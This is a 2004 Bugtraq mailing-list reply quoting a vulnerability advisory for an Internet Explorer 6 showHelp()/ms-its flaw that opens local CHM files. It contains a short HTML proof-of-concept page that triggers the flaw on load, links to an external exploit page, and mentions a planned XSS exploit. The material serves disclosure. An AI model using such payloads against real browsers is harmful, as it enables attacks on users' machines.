[34882] in bugtraq
Re: Showhelp() local CHM file execution
daemon@ATHENA.MIT.EDU (roozbeh afrasiabi)
Fri May 14 13:29:19 2004
Date: 14 May 2004 19:14:42 -0000
Message-ID: <20040514191442.22336.qmail@www.securityfocus.com>
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From: roozbeh afrasiabi <roozbeh_afrasiabi@yahoo.com>
To: bugtraq@securityfocus.com
In-Reply-To: <20040513091348.20686.qmail@www.securityfocus.com>
it seems its: weakness when handling "\\"causes two issues one being the execution of local chm files and the other is parsing of local htm pages stored in chm files which could be exploited using xss !
the poc i have given shows both of these issues i 'll try creating an exploit using xss and add it to my xploit page.
>/--------------------------------------------------------------------/
>
>
>Vendor: Microsoft Corp.
>product: IE.6
>test machine: winxp.pro.ed ,ie6 (FP)
>Discovery by: Roozbeh Afrasiabi
> (roozbeh_afrasiabi(At)yahoo(dot)com)
>Risk: Low
>Title: Showhelp() local CHM file execution
>
>/--------------------------------------------------------------------/
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>TABLE OF CONTENTS:
>==================
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>Description..............................................1
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>PoC......................................................2
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>Exploit..................................................3
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>Contact info.............................................4
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>Disclaimer...............................................5
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>1)Description:
>==================
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>While previous patches were to stop showhelp from executing CHM files
>using their path, a weakness in the way the double "\" is handled by
>the its protocol handler allows for the execution of locally installed
>CHM files.when "\\" is placed before the name of target CHM file the
>HELP folder is searched for such name , if the help folder dose not
>contain a file with that name then the rootdrive would be the next
>path to be searched,when a file with that name is found in either of
>these paths it would be executed .
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>2)POC
>=========
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><html>
><head>
><title>POC</title>
><p><br><b>HTM help file opened in an iframe</b><br><br>
><iframe id="target" width="700" height="400" src="ms-its:" name="target" scrolling="yes">
></iframe>
><!----SCRIPT LANGUAGE=javascript>
>function getlink(){
>showHelp("ms-its:\\ntshared.chm::/copyright.htm");
>target.location="ms-its:\\ntshared.chm::/copyright.htm";
>}
><!-----/script>
></head>
><body onload=getlink()>
></body>
></html>
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>3)Exploit
>===========
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>http://www.freewebs.com/roozbeh_afrasiabi/xploit/index.htm
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>4)Contact Info
>==================
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>roozbeh_afrasiabi(at)yahoo(dot)com
>da_stone_cold_killer(at)yahoo(dot)com
>me@persia-fars-shiraz
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>-----BEGIN PGP PUBLIC KEY BLOCK-----
>Version: GnuPG v1.2.1 (MingW32) - WinPT 0.7.96rc1
>
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>xmWk0kgx+X25WRK/AAYpiEYEGBECAAYFAkBVbHMACgkQLh+KhhfWhDUH4wCfZ/83
>xkEvaT1IWeaDemU5dYAysPsAnRP6Qyw1DM3gHhxl6m+bjEwPX6AG
>=q+hK
>-----END PGP PUBLIC KEY BLOCK-----
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>5)Disclaimer
>==================
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>Roozbeh Afrasiabi is not responsible for the misuse of the information provided in this report. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this advisory. Any use of the information is at the user's own risk.
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> All Rights Reserved
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